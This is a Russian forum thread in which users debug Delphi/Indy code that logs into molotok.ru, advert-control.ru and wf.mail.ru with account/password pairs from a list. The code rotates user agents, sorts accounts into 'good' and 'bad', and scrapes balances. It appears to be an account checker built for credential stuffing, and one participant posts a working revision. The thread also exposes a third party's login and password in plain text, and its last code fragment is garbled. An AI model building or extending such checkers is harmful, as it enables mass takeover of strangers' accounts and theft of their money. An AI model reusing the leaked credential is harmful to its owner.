пишу авторизацию на сайт, Code: http.HandleRedirects:=false; try http.Get('http://molotok.ru/myaccount/'); except redirect:=http.Response.Location; end; try HTML1:=http.Get(redirect); except hash:=pars('<input type="hidden" name="global_login_hash" value="', HTML1,'" />'); hash2:=pars('<input type="hidden" name="session" value="', HTML1,'" />'); hash3:=pars('<input type="hidden" name="session_login_hash" value="', HTML1,'" />'); hash4:=pars('<input type="hidden" name="url" value="', HTML1,'" />'); hash5:=pars('<input type="hidden" name="cod" value="', HTML1,'" />'); end; http.IOHandler:=ssl; data:=tstringlist.Create; data.Add('user_login='+FAcc); data.Add('user_password='+FPas); data.Add('global_login_hash='+hash); data.Add('session='+hash2); data.Add('session_login_hash='+hash3); data.Add('url='+hash4); data.Add('cod='+hash5); try HTML:=http.post('https://ssl.molotok.ru/login.php', data); Rez:=0; except // if HTTP.ResponseCode=302 then if Pos('Set-Cookie: QXLDATA=', HTTP.Response.RawHeaders.Text)<>0 then //if Pos('Location: /xmy/', HTTP.Response.RawHeaders.Text)<>0 then begin s:=http.Get('http://molotok.ru/show_user.php'); if Pos('<div class="infobox-icon"><i class="icon-money"></i></div>'+#10+' <div class="infobox-data">'+#10+' <span class="infobox-data-number">',s)<>0 then begin dengi:=Pars('<div class="infobox-icon"><i class="icon-money"></i></div>'+#10+' <div class="infobox-data">'+#10+' <span class="infobox-data-number">',s,'</span>'); end; Rez:=1; end else Rez:=-1; end; end; HTTP.Free; data.Free; Synchronize(Sync); end; dec(Thread); if Thread=0 then application.MessageBox(' Готово!', 'Информация'); end; через сниффер посмотрел, идет первый гет запрос: http.Get('http://molotok.ru/myaccount/'); потом получаем редирект, после, делаем по этому редиректу гет запрос и парсим оттуда нужные вещи...но сниффер не видит второго гет запроса, в чем моя ошибка?
https://ssl.molotok.ru/enter_login.php?session=NWNmY1EHW1VWU1JWBwMHUQxVXwYGBFoDA1sDWwVWUgIDUFYBBQEGBABSAFIDAVcHBFRVUAIFMjRiZg%3D%3D&global_login_hash=de7997d9c7fe15e673d33242ce86a1ba73cd59ff&session_login_hash=494ef42b7a2bb5162ad28cec0c08eb5a89e31df4&url=NTcyYwtGQ0YPGB0ODF5YQlpcHBEWHVpPVFRRDBZcQxljMjc2&cod=OGZkZlVlNmJk&version=A вот он какой, это должн быть второй гет, но его нету, так ещё и дело в том, что он данные не парсит с этого гета(второго)
https сниффер тебе не покажет. а не парсит потому что у тебя парсинг стоит после except, то есть только при возникновении исключения, что по идее не должно происходить
сделал так Code: try HTML1:=http.Get(redirect); hash:=pars('<input type="hidden" name="global_login_hash" value="', HTML1,'" />'); hash2:=pars('<input type="hidden" name="session" value="', HTML1,'" />'); hash3:=pars('<input type="hidden" name="session_login_hash" value="', HTML1,'" />'); hash4:=pars('<input type="hidden" name="url" value="', HTML1,'" />'); hash5:=pars('<input type="hidden" name="cod" value="', HTML1,'" />'); except end; бло не парсит
выведи куда-нибудь в программе ответ сервера после запроса, ответ может отличатся от того, что ты видишь в браузере, не мало раз с таким сталкивался
У тебя старая Indy. Обнови до последней. Ответ сервера с ошибкой Code: 10.4.8 407 Proxy Authentication Required This code is similar to 401 (Unauthorized), but indicates that the client MUST first authenticate itself with the proxy. The proxy MUST return a Proxy-Authenticate header field (section 14.33) containing a challenge applicable to the proxy for the requested resource. The client MAY repeat the request with a suitable Proxy-Authorization header field (section 14.34). HTTP access authentication is explained in section 11. Думаю переведешь и осмыслишь. Посмотри где к запросч порт добавляется и сделай, чтобы не добавлялся. (в настройках Indy)
чуть попозже попробую у себя твой код запустить. по результату отпишусь. Code: const USERAGENTS : array[0..14] of string[130] = ('Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.9.168 Version/11.50', 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30', 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0', 'Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30', 'Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30', 'Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1', 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1', 'Mozilla/5.0 (Windows NT 6.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18', 'Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1'); var HTTP:TidHTTP; SSL:TIdSSLIOHandlerSocketOpenSSL; Socks:TidSocksInfo; redirect,res,dengi,s:string; rez:Integer; Data:TStringList; begin HTTP:=TIdHTTP.Create; SSL:=TIdSSLIOHandlerSocketOpenSSL.Create(HTTP); Socks:=TIdSocksInfo.Create(SSL); Socks.Version:=svNoSocks; Socks.Authentication:=saNoAuthentication; SSL.TransparentProxy:=Socks; HTTP.IOHandler:=SSL; HTTP.CookieManager:=TidCookieManager.Create; HTTP.Request.UserAgent:=USERAGENTS[Random(Length(USERAGENTS))]; HTTP.ReadTimeout:=10000; HTTP.ConnectTimeout:=40000; HTTP.RedirectMaximum:=2; HTTP.HandleRedirects:=True; Data:=TStringList.Create; try http.HandleRedirects:=false; try http.Get('http://molotok.ru/myaccount/'); except redirect:=http.Response.Location; end; try res:=http.Get(redirect); except end; data.Add('user_login='+FAcc); data.Add('user_password='+FPas); data.Add('global_login_hash='+pars('<input type="hidden" name="global_login_hash" value="', res,'" />')); data.Add('session='+pars('<input type="hidden" name="session" value="', res,'" />')); data.Add('session_login_hash='+pars('<input type="hidden" name="session_login_hash" value="', res,'" />')); data.Add('url='+pars('<input type="hidden" name="url" value="', res,'" />')); data.Add('cod='+pars('<input type="hidden" name="cod" value="', res,'" />')); try res:=http.post('https://ssl.molotok.ru/login.php', data); Rez:=0; except on E:EIdHTTPProtocolException do if E.ErrorCode=302 then if Pos('Set-Cookie: QXLDATA=', HTTP.Response.RawHeaders.Text)<>0 then begin try s:=http.Get('http://molotok.ru/myaccount/bid.php'); except end; if Pos('<div class="infobox-icon"><i class="icon-money"></i></div>'+#10+' <div class="infobox-data">'+#10+' <span class="infobox-data-number">',s)<>0 then begin dengi:=Pars('<div class="infobox-icon"><i class="icon-money"></i></div>'+#10+' <div class="infobox-data">'+#10+' <span class="infobox-data-number">',s,'</span>'); end; Rez:=1; end else Rez:=-1; end; finally HTTP.CookieManager.Free; Socks.Free; SSL.Free; HTTP.Free; data.Free; end; end; чуть подудалял лишние переменные, но код не оптимизировал. Смотри сам. Сейчас деньги не парсит т.к. страничка не та, но логин проходит удачно Пруф:
СПАСИБО ОГРОМЕННОЕ!!! СЕЙЧАС ПРОТЕСТЮ _____ Вроде всё работает, но я криворукий и у меня почему-то не выводит верный гуд http://s018.radikal.ru/i516/1306/18/2c043c9e6be9.png , всё в бад кидает
я ж говорю Indy обнови или настрой. Смотри: у тебя во время обращения на https://ssl.molotok.ru добавляет порт 443 у меня же такого нет.
в общем потом этот молоток посомтрю, есть ещё такой код Code: http.IOHandler:=ssl; data:=tstringlist.Create; data.Add('login='+FAcc); data.Add('passwd='+FPas); data.Add('OK.x='); data.Add('OK.y='); try HTML:=http.Post('http://advert-control.ru/', data); if Pos('Location: executor_stats.php', HTTP.Response.RawHeaders.Text)<>0 then begin s:=http.Get('http://advert-control.ru/executor_stats.php'); if Pos('<span id="wallet">',s)<>0 then begin lvl:=Pars('<span id="wallet">',s,'</span>'); end; Rez:=1 end else Rez:=0; except Rez:=-1; end; end; HTTP.Free; data.Free; Synchronize(Sync); end; dec(Thread); if Thread=0 then application.MessageBox(' Готово!', 'Информация'); end; через сниффер всё нормально,а вот в мемо не добавляет этот гудовый акк. или опять тут инди виновата?
Смотреть не буду, а то я так в скором времени тебе логины под все сайты напишу. Разбирайся сам. Куда копать, в чем может быть проблема я подсказал. У меня работает. У тебя нет. Ищи разницу.
во всем разобрался! http://wf.mail.ru/ но вот ещё одна загвоздка....не хочет искать гуд,если через сайт, то есть, а если запустить программу и запустить сниффер, то там не будет этого куки о_О чудесаа... помогите пожалуйста! вот валидный акк: [email protected];egorea1999 Code: http.IOHandler:=ssl; data:=tstringlist.Create; data.Add('name='+FAcc); data.Add('pass='+FPas); data.Add('op='); data.Add('form_id=user_login_block'); html:=Http.Get('http://wf.mail.ru/node'); hash:=pars('<input type="hidden" name="form_build_id" id="', html, '"'); data.Add('form_build_id='+hash); try HTML:=http.post('http://wf.mail.ru/node', data); if Pos('Set-Cookie: Mpop=', HTTP.Response.RawHeaders.Text)<>0 then then begin begin end; Rez:=1 end else Rez:=0; except Http.Response.RawHeaders.Text)<>0 then Rez:=-1; end; end; HTTP.Free; data.Free; Synchronize(Sync); end;